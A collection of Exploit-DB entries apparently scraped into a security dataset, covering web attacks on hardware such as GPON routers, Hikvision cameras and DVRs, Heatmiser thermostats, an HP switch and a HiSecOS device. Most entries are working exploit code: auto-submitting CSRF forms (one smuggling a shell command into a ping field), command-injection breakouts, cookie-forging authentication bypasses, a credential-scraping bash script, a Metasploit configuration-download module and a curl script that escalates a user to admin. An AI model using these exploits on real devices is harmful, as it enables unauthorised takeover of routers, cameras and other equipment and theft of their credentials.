deardaniel/secdata-raw huggingface dataset:
Exploit-DB #28555
Description: Good for Enterprise 2.2.2.1611 - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2013-09-25
Author: Mario

Exploit:
The vulnerable versions are v2.2.2.1611 and earlier
 
Proof of Concept:
HTML Email including the following payload will execute Javascript statements when the victim open the email using the vulnerable version.
 
Payload:
<body>
<div>
<script>alert('XSS Here')</script>
</div>
</body>
 
Remediation:
I worked with the Good people to close the issue, I provided some guidance and feedback and agreed with them to not disclose it until they fix it.

The new release is now available:
Update the "Good for Enterprise" iOS application to 2.2.4.1659 or newer
 
References:
https://www.roblest.com/#research:CVE-2013-5118 

Can the comunity please provide feedback and comments in order to ensure the fix is working well

Many thanks

Mario
Exploit-DB #38073
Description: GPON Home Router FTP G-93RG1 - Cross-Site Request Forgery / Command Execution
Type: webapps
Platform: hardware
Date: 2015-09-02
Author: Phan Thanh Duy

Exploit:
<!--
######################################################################
# Exploit Title: GPON Home CSRF With Command ExecuteVulnerability
# Author: Phan Thanh Duy (logicaway) - KAISAI12 (ceh.vn)
# E-mail:(facebook https://www.facebook.com/duy.phanthanh.75),(
https://www.facebook.com/kai.sai.35)
# Category: Hardware
# Google Dork: N/A
# Vendor: FTP Viet Nam
# Firmware Version: 3.0.0 Build 120531
# Product: FTP G-93RG1
#
#
# Tested on: Windows 8 64-bit
######################################################################

#Introduction
==============

#Description of Vulnerability
=============================
Execute command with CSRF

#Exploit
========
-->

<html>
<head>
<title>CSRF Demo Exploit</title>
</head>
<body>

<form name="auto" method="POST"
action="http://192.168.1.1/GponForm/diag_XForm"
enctype="multipart/form-data">
<input type="hidden" name="XWebPageName" value="diag"/>
<input type="hidden" name="diag_action" value="ping"/>
<input type="hidden" name="wan_conlist" value="0"/>
<input type="hidden" name="dest_host" value="`rm -rf stuff`"/>
<input type="hidden" name="ipver" value="0"/>
<!-- input type="submit" name="submit"/> -->
</form>
<script type="text/javascript">
      document.auto.submit();
</script>
</body>
</html>
Exploit-DB #37531
Description: Grandstream GXV3275 < 1.0.3.30 - Multiple Vulnerabilities
Type: webapps
Platform: hardware
Date: 2015-07-08
Author: David Jorm

Exploit:
The Grandstream GXV3275 is an Android-based VoIP phone. Several
vulnerabilities were found affecting this device.

* The device ships with a default root SSH key, which could be used as a
backdoor:

/system/root/.ssh # cat authorized_keys
Public key portion is:
ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAAAgwCIcYbgmdHTpTeDcBA4IOg5Z7d2By0GXGihZzcTxZC+YTWGUe/HJc+pYDpDrGMWg0hMqd+JPs1GaLNw4pw0Mip6VMT7VjoZ8Z+n2ULNyK1IoTU4C3Ea4vcYVR8804Pvh9vXxC0iuMEr1Jx7SewUwSlABX04uVpEObgnUhpi+hn/H34/
jhzhao@jhzhao-Lenovo
Fingerprint: md5 7b:6e:a0:00:19:54:a6:39:84:1f:f9:18:2e:79:61:b5

This issue has not been resolved.

* The SSH interface only provides access to a limited CLI. The CLI's ping
and traceroute commands will pass user input as parameters to underlying
system commands without escaping shell metacharacters. This can be
exploited to break out to a shell:

GXV3275 > traceroute $(sh)

This shell will only see stderr, so we then need to run sh with stdout
redirected to stderr:

sh 1>&2

This issue has been resolved in firmware version 1.0.3.30.

* The web interface exposes an undocumented command execution API:


http://DEVICEIP/manager?action=execcmd&command=echo%20%22hello%22%20%3E%20/system/root/test.txt

This issue has been resolved in firmware version 1.0.3.30.

* The web interface allows unprivileged users to escalate privileges by
modifying a cookie on the client side:

javascript:void(document.cookie="type=admin")

Full details are available here:

http://davidjorm.blogspot.com/2015/07/101-ways-to-pwn-phone.html

MITRE was contacted repeatedly requesting CVE names for these issues, but
never replied.

David
Exploit-DB #45022
Description: Grundig Smart Inter@ctive 3.0 - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2018-07-13
Author: t4rkd3vilz

Exploit:
# Exploit Title: Grundig Smart Inter@ctive 3.0 - Cross-Site Request Forgery
# Date: 2018-07-§3
# Exploit Author: Ahmethan-Gultekin - t4rkd3vilz
# Vendor Homepage: https://www.grundig.com/
# Software Link: https://play.google.com/store/apps/details?id=arcelik
# Version: Before > Smart Inter@ctive 3.0
# Tested on: Kali Linux
# CVE : CVE-2018-13989

# I'm trying my TV.I saw a Grundig remote control application on
# Google Play. Computer I downloaded and decompiled APK. 
# And I began to examine individual classes. I noticed in a class
# that a request was sent during operations on the command line.
# I downloaded the phone packet viewer and opened the control application and
# made some operations. And I saw that there was such a request;

# PoC

request ->
GET /sendrcpackage?keyid=-2544&keysymbol=-4081 HTTP/1.1
Host: 192.168.1.106:8085
Connection : Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)


response ->
HTTP/1.1 200 OK
Content-Type : text/plain

# Set rc key is handled for key id : -2544 key symbol : -4081
# The only requirement for the connection between the TV and the application
# was to have the same IP address. After I made the IP address on the TV 
# and the phone and the IP address on the computer the same: 
# I accessed the interface from the 8085 port. Now I could do anything from the computer :)
Exploit-DB #44061
Description: Hanbanggaoke IP Camera - Arbitrary Password Change
Type: webapps
Platform: hardware
Date: 2017-09-11
Author: SecuriTeam

Exploit:
## Vulnerability summary
The following advisory describes an arbitrary password change vulnerability found in Hanbanggaoke webcams.

Beijing Hanbang Technology, “one of the first enterprises entering into digital video surveillance industry, has been focusing on R&D of products and technology of digital video surveillance field. While providing product and technical support, it also provides overall solution for the industrial system; it has successfully provided system implementation and service supports for several industries.”

## Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program

Vendor response
We tried to contact Hanbanggaoke since the 8th of August 2017, repeated attempts to establish contact went unanswered. At this time there is no solution or workaround for this vulnerability.

## Vulnerability details
User controlled input is not sufficiently sanitized, by sending a PUT request to /ISAPI/Security/users/1 HTTP/1.1 an attacker can change the admin password.

CVE: CVE-2017-14335

## Proof of Concept
In order to exploit the vulnerability, we need to use proxy tool (like Burp). We then connect to the victim’s machine and need to capture the data package.

We then edit the data of the following PUT request:


```
PUT /ISAPI/Security/users/1 HTTP/1.1
Host: x.x.x.x
Content-Length: 321
Cache-Control: max-age=0
Origin: http://x.x.x.x
X-Requested-With: XMLHttpRequest
Authorization: Basic YWRtaW46ODg4ODg4
Content-Type: application/x-www-form-urlencoded
Accept: application/xml, text/xml, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
If-Modified-Since: 0
Referer: http://x.x.x.x/doc/page/paramconfig.asp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: updateTips=true; streamType=0; BufferLever=1; userInfo80=YWRtaW46ODg4ODg4; DevID=5; language=zh; curpage=paramconfig.asp%254
Connection: close

<?xml version="1.0" encoding="UTF-8"?><User><id>1</id><userName>admin</userName><password>admin</password><bondIpList><bondIp><id>1</id><ipAddress>0.0.0.0</ipAddress><ipv6Address>::</ipv6Address></bondIp></bondIpList><macAddress/><userLevel>administrator</userLevel><attribute><inherent>true</inherent></attribute></User>
```

The successful response will be:

Now, we can login with as administrator:

User: admin
Password: admin
Exploit-DB #14264
Description: Harris Stratex StarMAX 2100 WIMAX Subscriber Station - Running Configuration Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2010-07-07
Author: kalyanakumar

Exploit:
I found CSRF vulnerability in Harris Stratex WIMAX 2100 subscriber
station.Using this code i am able to view the current configuration of the
subscriber station without authentication from both LAN & WAN

# Software Link:http://securityvulns.com/Wdocument736.html
# Version: 3.0.4.1.7.C
# Tested on: Any os
# CVE : No

Product :StarMAX 2100 WIMAX subscriber station
Affected Application Version: 3.0.4.1.7.C
Vendor submission:07-04-2009
Vendor Response:No
Vulnerability:Able to view the running configuration without authentication
from both LAN & WAN

<html>
<body>
<body onload="config.submit();">
<form name=config method="get" action="http:192.168.1.1/frameCmd6.html">
<input type=hidden name=showRunConfig value="Current Configuration">
</form>
</body>
</html>


Thanks
Kalyan
Security researcher
Exploit-DB #42931
Description: HBGK DVR 3.0.0 build20161206 - Authentication Bypass
Type: webapps
Platform: hardware
Date: 2017-09-24
Author: RAT - ThiefKing

Exploit:
# Exploit Title: HBGK DVR V3.0.0 build20161206  - Authentication Bypass
# Date: 24-09-2017
# Vendor Homepage: http://www.hbgk.net/en/
# Exploit Author: RAT - ThiefKing
# Contact: https://www.facebook.com/cctvsuperpassword
# Website: http://tromcap.com
# Category: webapps
# Tested on: V2.3.1 build20160927, V3.0.0 build20161206
# Shodan Dork: NVR Webserver

1. Description
- Any registered user can login when edit cookie userInfo

2. Proof of Concept
- When login successful: DVR save cookie : userInfo + webport with 
value: base64 encode (user:pass)
Ex: http://dvr-domain.dynns.com:85 --> When login successful (user: 
admin, pass: admin), DVR will save cookie: userInfo85 with value 
YWRtaW46YWRtaW4= (admin:admin <-- base64 decode)
But Dvr not check pass with cookie. When not yet login, you add a 
cookie: userInfoXX (xx : web port) with value base64 encode (admin: any 
words). And go url: http://dvr-domain.dynns.com:XX/doc/page/main.asp. It 
will Authentication Bypass

3. Solution:
Update to Firmware version V3.0.0 build20170925
Exploit-DB #47823
Description: Heatmiser Netmonitor 3.03 - Hardcoded Credentials
Type: webapps
Platform: hardware
Date: 2019-12-30
Author: Ismail Tasdelen

Exploit:
# Exploit Title: Heatmiser Netmonitor 3.03 - Hardcoded Credentials
# Date: 2019-12-22 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.heatmiser.com/en/
# Hardware Link: https://www.zoneregeling.nl/heatmiser/netmonitor-handleiding.pdf
# Software: Netmonitor v3.03
# Product Version: Netmonitor v3.03
# CWE : CWE-798
# Vulenrability: Use of Hard-coded Credentials
# CVE: N/A

# Decription :
# Hard-coded Credentials security vulnerability of Netmonitor model v3.03
# from Heatmiser manufacturer has been discovered. With this
# vulnerability, the hidFrm form in the source code of the page
# anonymously has access to hidden input codes. This information is
# contained in the input field of the hidFrm form in the source code
# lognm and logpd.


HTTP GET Request : /networkSetup.htm HTTP/1.1

<form name="hidFrm" method="post">
<input type="hidden" name="lognm" value="admin">
<input type="hidden" name="logpd" value="admin">
<input type="hidden" name="ip" value="XXX.XXX.XXX.XXX">
<input type="hidden" name="mask" value="XXX.XXX.XXX.XXX">
<input type="hidden" name="gate" value="XXX.XXX.XXX.XXX">
<input type="hidden" name="dns" value="XXX.XXX.XXX.XXX">
<input type="hidden" name="timestr" value="04:27">
<input type="hidden" name="datestr" value="23/12/2019">
<input type="hidden" name="timeflag" ,="" value="0">
<input type="hidden" name="gmtflag" ,="" value="1">
</form>
Exploit-DB #47828
Description: Heatmiser Netmonitor 3.03 - HTML Injection
Type: webapps
Platform: hardware
Date: 2019-12-30
Author: Ismail Tasdelen

Exploit:
# Exploit Title: Heatmiser Netmonitor 3.03 - HTML Injection
# Date: 2019-12-22 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.heatmiser.com/en/
# Hardware Link: https://www.zoneregeling.nl/heatmiser/netmonitor-handleiding.pdf
# Software: Netmonitor v3.03
# Product Version: Netmonitor v3.03
# Vulernability Type: Code Injection
# Vulenrability: HTML Injection
# CVE: N/A

# Description :
# Heatmiser Net Monitor v3.03 allows HTML Injection via the
# outputSetup.htm outputtitle parameter. The HTML Injection
# vulnerability was discovered in v3.03 version of Net Monitor
# from the Heatmiser manufacturer. This vulnerability is
# vulnerable to hardware that use this software.


# HTTP Post Request :

POST /outputSetup.htm HTTP/1.1
Host: XXX.XXX.XXX.XXX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 95
Origin: http://XXX.XXX.XXX.XXX
Connection: close
Referer: http://TARGET/outputSetup.htm
Upgrade-Insecure-Requests: 1

outputtitle=%22%3E%3Cmarquee%3ETEST%23undefined%23undefined%23undefined%23undefined%23undefined

# HTTP Response :

HTTP/1.1 200 OK
Date: Sun, 22 Dec 2019 20:25:22 GMT
Server: Z-World Rabbit
Connection: close
Content-Type: text/html
Exploit-DB #45623
Description: Heatmiser Wifi Thermostat 1.7 - Credential Disclosure
Type: webapps
Platform: hardware
Date: 2018-10-16
Author: d0wnp0ur

Exploit:
# Exploit Title: Heatmiser Wifi Thermostat 1.7 - Credential Disclosure 
# Dork: intitle:"Heatmiser Wifi Thermostat"
# Date: 2018-08-17
# Exploit Author: d0wnp0ur
# Original Discoverer: Andrew Tierney
# Vendor Lnk: https://www.heatmiser.com/en/ 
# Product Link: https://www.heatmiser.com/en/wireless-thermostats/
# Tested on: Heatmiser Version 1.7
# CVE: N/A

#!/bin/bash

echo Heatmiser Smart Thermometer Hack
echo By d0wnp0ur
echo Usage: $0 \<ip\[:port\]\> \(Default is 80. If it doesn\'t work, try port 8081\)
echo This tool gets the username and password of a vulnerable Heatmiser thermostat
echo Deleting old files
rm networkSetup.htm*
echo Copying disclosing page
wget http://$1/networkSetup.htm
echo Getting Username and Password
echo Username:
cat networkSetup.htm | grep "User" | grep "Name:" | awk -F 'value=' '{print $2}' | cut -d '"' -f 2
echo Password:
cat networkSetup.htm | grep "User" | grep "Password:" |grep -v -i "confirm" |  awk -F 'value=' '{print $2}' | cut -d '"' -f 2
echo Success! Log in to the web interface with the above credentials.
echo http://$1
Exploit-DB #46100
Description: Heatmiser Wifi Thermostat 1.7 - Cross-Site Request Forgery (Update Admin)
Type: webapps
Platform: hardware
Date: 2019-01-09
Author: SajjadBnd

Exploit:
# Exploit Title: Heatmiser Wifi Thermostat 1.7 - Cross-Site Request Forgery
# Dork: intitle:"Heatmiser Wifi Thermostat" & you can use shodan
# Date: 2019-01-09
# Exploit Author: sajjadbnd
# Vendor Lnk: https://www.heatmiser.com/en/ 
# Product Link: https://www.heatmiser.com/en/wireless-thermostats/
# Tested on: Heatmiser Version 1.7
# CVE: N/A

# [+] CSRF: Change Admin Username and Password

<form method="post" name="config" action="http://target:8083/networkSetup.htm">
Name:<input type="text" name="usnm" maxlength="16" value="s" onchange="textchange()"> 
Password:<input type="password" maxlength="16" style="width:150px;" name="usps" >
Confirm User Password:<input type="password" maxlength="16" style="width:150px;" name="cfps" onchange="textchange()">
<input id="btnSubmit" type="submit" class="sm" value=" Save " onclick="saveclick()">
</form>
Exploit-DB #28562
Description: Hewlett-Packard (HP) 2620 Switch Series. Edit Admin Account - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2013-09-26
Author: Hubert Gradek

Exploit:
# Exploit Title: Hewlett-Packard 2620 Switch Series. Edit Admin Account - CSRF Vulnerability
# Date: 26.09.2013r.
# Exploit Author: Hubert GrÄ…dek (PL)
# Software Link: [download link if available]
# Tested on: HP-E2620 24-PoEP //  RA.15.05.0006,ROMRA.15.10

HTTP Headers:

http://[IP_ADDR]/html/json.html

Host: [IP_ADDR]
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://[IP_ADDR]/html/nhome.html
Cookie: sessionId=ANYTHING
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache





POST Content:


method:setPassword&name=admin&[CREDENTIAL_REDACTED]-comp-1171=newpassword&access=Manager
Exploit-DB #39677
Description: Hikvision Digital Video Recorder - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2016-04-11
Author: LiquidWorm

Exploit:
<!--
Hikvision Digital Video Recorder Cross-Site Request Forgery


Vendor: Hikvision Digital Technology Co., Ltd
Product web page: http://www.hikvision.com
Affected version: LV-D2104CS
                  DS-7316HFI-ST
                  DS-7216HVI-SV/A
                  DS-7208HVI-SH
                  DS-7204HVI-SH

Summary: Hikvision is the global leader of video surveillance
products and solutions, manufactures a wide range of top-quality,
reliable, and professional solutions.

Desc: The application interface allows users to perform certain
actions via HTTP requests without performing any validity checks
to verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user visits
a malicious web site.

Tested on: Hikvision-Webs


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5315
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5315.php

Vendor: http://overseas.hikvision.com/europe/list01_435.html


13.01.2016

--


CSRF Add Operator:
------------------
-->

<html>
  <body>
    <form action="http://10.0.0.8/PSIA/Security/AAA/users" method="POST" enctype="text/plain">
      <input type="hidden" name="<&#63;xml&#32;version" value="&apos;1&#46;0&apos;&#32;encoding&#61;&apos;utf&#45;8&apos;&#63;><User><id>3<&#47;id><userName>tes2t<&#47;userName><password>test2<&#47;password><Extensions><bondIp><ipAddress>0&#46;0&#46;0&#46;0<&#47;ipAddress><&#47;bondIp><attribute><inherent>true<&#47;inherent><&#47;attribute><&#47;Extensions><&#47;User>" />
      <input type="submit" value="Submit" />
    </form>
  </body>
</html>
Exploit-DB #45231
Description: Hikvision IP Camera 5.4.0 - User Enumeration (Metasploit)
Type: webapps
Platform: hardware
Date: 2018-08-21
Author: Alfie

Exploit:
# Exploit title: Hikvision IP Camera 5.4.0 - User Enumeration (Metasploit)
# Author: Alfie
# Date: 2018-08-21
# Website: https://www.hikvision.com/en/
# Software: Hikvision Camera
# Versions: 
# DS-2CD2xx2F-I Series: V5.2.0 build 140721 to V5.4.0 build 160530
# DS-2CD2xx0F-I Series: V5.2.0 build 140721 to V5.4.0 Build 160401
# DS-2CD2xx2FWD Series: V5.3.1 build 150410 to V5.4.4 Build 161125
# DS-2CD4x2xFWD Series: V5.2.0 build 140721 to V5.4.0 Build 160414
# DS-2CD4xx5 Series: V5.2.0 build 140721 to V5.4.0 Build 160421
# DS-2DFx Series: V5.2.0 build 140805 to V5.4.5 Build 160928
# DS-2CD63xx Series: V5.0.9 build 140305 to V5.3.5 Build 160106

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Configuration download in Hikvision IP Cameras',
      'Description'    => %q{
          Many Hikvision IP cameras contain a backdoor that allows unauthenticated impersonation of any configured user account. The vulnerability has been present in Hikvision products since at least 2014. In addition to Hikvision-branded devices, it affects many white-labeled camera products sold under a variety of brand names. Hundreds of thousands of vulnerable devices are still exposed to the Internet at the time of publishing. In addition to gaining full administrative access, the vulnerability can be used to retrieve plain-text passwords for all configured users.
      },
      'License'        => MSF_LICENSE,
      'Author'         => 
        [
          'Monte Crypto', # Vulnerability discovery
          'Alfie Njeru' # Metasploit module
        ],
      'References'     =>
        [
          [ 'URL', 'https://packetstormsecurity.com/files/144097/Hikvision-IP-Camera-Access-Bypass.html' ],
        
          [ 'URL', 'http://seclists.org/fulldisclosure/2017/Sep/23' ]
        ]
    ))

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [true, 'Path to the path that config is stored ', '/System/configurationFile?auth=YWRtaW46MTEK'])
      ])
  end

  def run_host(ip)

    print_status("#{rhost}:#{rport} - Sending request...")
    uri = normalize_uri(target_uri.path)
    res = send_request_cgi({
      'uri'          => uri,
      'method'       => 'GET',
    })

    if res and res.code == 200
      contents = res.body
      fname = File.basename(datastore['TARGETURI'])
      path = store_loot(
        'usersvision ',
        'text/plain',
        ip,
        contents,
        fname
      )
      print_status("#{rhost}:#{rport} - File saved in: #{path}")
    else
      print_error("#{rhost}:#{rport} - Failed to retrieve file")
      return
    end
  end
end
Exploit-DB #51537
Description: HiSecOS 04.0.01 - Privilege Escalation
Type: webapps
Platform: hardware
Date: 2023-06-21
Author: dreizehnutters

Exploit:
# Exploit Title: HiSecOS 04.0.01 - Privilege Escalation
# Google Dork: HiSecOS Web Server Vulnerability Allows User Role Privilege Escalation
# Date: 21.06.2023
# Exploit Author: dreizehnutters
# Vendor Homepage: https://dam.belden.com/dmm3bwsv3/assetstream.aspx?assetid=15437&mediaformatid=50063&destinationid=10016
# Version: HiSecOS-04.0.01 or lower
# Tested on: HiSecOS-04.0.01
# CVE: BSECV-2021-07

#!/bin/bash

if [[ $# -lt 3 ]]; then
  echo "Usage: $0 <IP> <USERNAME> <PASSWORD>"
  exit 1
fi

target="$1"
user="$2"
pass="$3"

# Craft basic header
auth=$(echo -ne "$user:$pass" | base64)

# Convert to ASCII hex
blob=$(printf "$user" | xxd -ps -c 1)

# Generate XML payload ('15' -> admin role)
gen_payload() {
  cat <<EOF
<rpc xmlns="urn:ietf:params:xml:ns:netconf:base:1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:x-mops:1.0 ../mops.xsd" message-id="20">
  <mibOperation xmlns="urn:x-mops:1.0">
    <edit-config>
      <MIBData>
        <MIB name="HM2-USERMGMT-MIB">
          <Node name="hm2UserConfigEntry">
            <Index>
              <Attribute name="hm2UserName">$blob</Attribute>
            </Index>
            <Set name="hm2UserAccessRole">15</Set>
          </Node>
        </MIB>
      </MIBData>
    </edit-config>
  </mibOperation>
</rpc>
EOF
}

curl -i -s -k -X POST \
  -H "content-type: application/xml" \
  -H "authorization: Basic ${auth}" \
  --data-binary "$(gen_payload)" \
  "https://${target}/mops_data"

echo "[*] $user is now an admin"